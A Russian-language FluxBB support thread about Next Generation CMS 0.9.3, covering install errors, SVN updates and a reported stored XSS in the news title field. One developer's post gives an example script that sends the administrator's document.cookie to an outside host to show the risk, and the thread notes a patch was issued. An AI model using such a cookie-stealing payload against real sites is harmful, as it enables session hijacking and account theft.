Next Generation CMS :: Форум поддержки

Заинтересовала наша система? Тогда этот форум для Вас!

Вы не зашли.

#326 2012-04-14 00:14:32

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Версия 0.9.3 Release

У меня 0.9.3 Release [SVN954+] и там все по старому( (т.е. 1,4)

Не в сети

#327 2012-04-14 00:44:57

vitaly
Администратор
Откуда Россия
Зарегистрирован: 2008-10-08
Сообщений: 2,823
Рейтинг :   118 

Re: Версия 0.9.3 Release

legenda, изменения сделаны в SVN970.
Обновись до него, зайди в настройки формата адресов и просто нажми на "сохранить".
Должно исправиться.

Не в сети

#328 2012-04-14 02:52:13

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Версия 0.9.3 Release

vitaly, ок, правда сначала надо все почитать что там еще изменено smile

Не в сети

#329 2012-04-14 16:23:11

Евгений
Модератор
Откуда Россия
Зарегистрирован: 2009-04-08
Сообщений: 1,014
Рейтинг :   38 
Сайт

Re: Версия 0.9.3 Release

Вот, начал установку версии из SVN:
4abcf6d05fce32f3c49f1fde7c15187b_pv.png

и вот еще в конце нету ссылки на страницу входа в админку, вобще думаю что можно было бы убрать всю техническую информацию под спойлер, и сделать две кнопки, одна для перехода на главную страницу сайта, другая для перехода в админку.

5626a6026049e47220b5a9500efee073_pv.png

Изменено Евгений (2012-04-14 16:28:45)


I NGeneration CMS

Не в сети

#330 2012-04-16 20:49:19

helljoy
Участник
Зарегистрирован: 2012-04-16
Сообщений: 4
Рейтинг :   

Re: Версия 0.9.3 Release

При нажатии на кнопку "добавить статическую страницу" зависает процесс php. И админ панель виснет. Софт Apache/2.2.16 - php5-5.3.3-7+squeeze8.

Не в сети

#331 2012-04-16 21:53:40

vitaly
Администратор
Откуда Россия
Зарегистрирован: 2008-10-08
Сообщений: 2,823
Рейтинг :   118 

Re: Версия 0.9.3 Release

helljoy, скорее всего тупит какой-либо из SQL запросов.
Посмотри логи mysql'я.

Не в сети

#332 2012-04-18 20:56:58

helljoy
Участник
Зарегистрирован: 2012-04-16
Сообщений: 4
Рейтинг :   

Re: Версия 0.9.3 Release

sql лог не показывает ошибку.. а вот апатч
Premature end of script headers: php, referer: http://домен.ком/engine/admin.php?mod=static
////////////// зы. php-mod CGI

Не в сети

#333 2012-04-21 21:00:06

mix0x0
Участник
Зарегистрирован: 2012-04-21
Сообщений: 1
Рейтинг :   

Re: Версия 0.9.3 Release

Продукт: Next Gen CMS
Версия: 0.9.3 Release [SVN880+FIX01]

Уязвимость: XSS Активные
При добавлении новости, уязвимы поля: "Заголовок", 'тестовый блог'

<script>alert(/xss/)</script>

Требуются права модератора или администратора

Не в сети

#334 2012-04-22 09:11:30

Knopik
Разработчик
Откуда ufa
Зарегистрирован: 2009-10-14
Сообщений: 353
Рейтинг :   62 
Сайт

Re: Версия 0.9.3 Release

legenda, наверно что то типа такого.

Допустим, ты дал права журналиста какому нибудь Васе, который в один момент создаст такую новость. Затем ты войдя в админку увидишь, что есть новости для модерации, нажмешь редактировать [n], увидишь что то типа этого. Поняв что это муссор, ты отмечаешь напротив них чекбоксы и внизу жмешь удалить. Показывается уведомление, что новость удалена, одновременно выполняться атака.

что если вася выпишет не безобидный алерт, ну а скажем что то типа такого

<script>var t = new Image(); t.scr="http://vasya.net.ru/cookie.php?"+document.cookie;</script>

Не в сети

#335 2012-04-23 00:25:03

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Версия 0.9.3 Release

Knopik, это что действительно так есть?

Не в сети

#336 2012-04-23 16:40:24

Knopik
Разработчик
Откуда ufa
Зарегистрирован: 2009-10-14
Сообщений: 353
Рейтинг :   62 
Сайт

Re: Версия 0.9.3 Release

legenda, да. у меня в локалке svn версия

Не в сети

#337 2012-04-23 18:42:23

irbees2008
Продвинутый чайник ;)
Откуда Шахтинск
Зарегистрирован: 2012-03-14
Сообщений: 2,873
Рейтинг :   121 
Сайт

Re: Версия 0.9.3 Release

ну а защиту кто нибудь продумает? hmm

Не в сети

#338 2012-04-23 19:07:15

infinity237
Модератор
Откуда Russia, Moscow
Зарегистрирован: 2008-11-09
Сообщений: 2,674
Рейтинг :   176 
Сайт

Re: Версия 0.9.3 Release

Какую защиту-то? Вы сами несете ответственность, за свои действия.
Выдали права доступа - получайте.

Не в сети

#339 2012-04-24 04:45:25

vitaly
Администратор
Откуда Россия
Зарегистрирован: 2008-10-08
Сообщений: 2,823
Рейтинг :   118 

Re: Версия 0.9.3 Release

mix0x0, спасибо.
В SVN выложен патч.

Не в сети

#340 2012-04-25 02:00:03

dampel
Участник
Зарегистрирован: 2011-09-26
Сообщений: 52
Рейтинг :   

Re: Версия 0.9.3 Release

А не подскажите когда планируется новая версия ngcms ?

Не в сети

#341 2012-05-14 21:39:57

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Версия 0.9.3 Release

Почемуто в самом конце инсталяции у меня вот такой вот облом

Fatal error: Cannot load DEFAULT permissions for users!

причем уже перепробовал и разные юзера.

0.9.3 Release [SVN954+]

Не в сети

#342 2012-05-19 19:13:59

qwas
Участник
Откуда Kyyiv
Зарегистрирован: 2012-05-16
Сообщений: 229
Рейтинг :   
Сайт

Re: Версия 0.9.3 Release

Оффтоп: Всем здрасте))

legenda пишет:

Почемуто в самом конце инсталяции у меня вот такой вот облом

Fatal error: Cannot load DEFAULT permissions for users!

причем уже перепробовал и разные юзера.

0.9.3 Release [SVN954+]

У меня, как не странно, все стало на хостинге с первого раза...
Upd: пардон, не увидел сразу...у меня с сайта скачанная версия, не с SVN.

Изменено qwas (2012-05-19 19:15:35)

Не в сети

#343 2012-05-19 23:25:20

vitaly
Администратор
Откуда Россия
Зарегистрирован: 2008-10-08
Сообщений: 2,823
Рейтинг :   118 

Re: Версия 0.9.3 Release

legenda, проверь наличие файла engine/conf/perm.default.php

Не в сети

#344 2012-05-20 03:08:43

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Версия 0.9.3 Release

vitaly, такой файл есть

Не в сети

#345 2012-05-20 14:30:03

vitaly
Администратор
Откуда Россия
Зарегистрирован: 2008-10-08
Сообщений: 2,823
Рейтинг :   118 

Re: Версия 0.9.3 Release

legenda, а двиг при этом ставится и работает или нет?

Не в сети

#346 2012-05-20 17:35:11

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Версия 0.9.3 Release

Все сначала ставится но в самом конце инсталяции у меня вот такой вот облом, дальше ни админка ни сайт неработают

Не в сети

#347 2012-05-20 18:17:26

infinity237
Модератор
Откуда Russia, Moscow
Зарегистрирован: 2008-11-09
Сообщений: 2,674
Рейтинг :   176 
Сайт

Re: Версия 0.9.3 Release

А чё вы собственно хотите? Если у вас даже инсталяция не проходит нормально?

Не в сети

#348 2012-05-20 23:05:26

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Версия 0.9.3 Release

infinity237, у кого это у вас? я ж написал четко что проблама возникает только при установке в 0.9.3 Release [SVN954+], а например релиз 0.9.3 Release [SVN880+FIX01] ставится нормально и ничего подобного нету.

Не в сети

#349 2012-05-20 23:38:49

vitaly
Администратор
Откуда Россия
Зарегистрирован: 2008-10-08
Сообщений: 2,823
Рейтинг :   118 

Re: Версия 0.9.3 Release

legenda пишет:

Все сначала ставится но в самом конце инсталяции у меня вот такой вот облом, дальше ни админка ни сайт неработают

Дай доступ по FTP к хостингу на котором это происходит, посмотрю.
Эту ошибку выводит функция loadPermissions(), но по-нормальному она этой ошибки (при наличии файла perm.default.php) выдавать не должна.

Не в сети

#350 2012-05-21 20:00:23

legenda
Участник
Откуда ua
Зарегистрирован: 2009-12-22
Сообщений: 2,160
Рейтинг :   39 

Re: Версия 0.9.3 Release

vitaly, файл engine/conf/perm.default.php должен быть до установки или после?

и ещк такой вопрос начиная с какой версии в корне появился файл syscron.php? и за что он отвечает?

Изменено legenda (2012-05-21 20:34:18)

Не в сети

Подвал раздела

Работает на FluxBB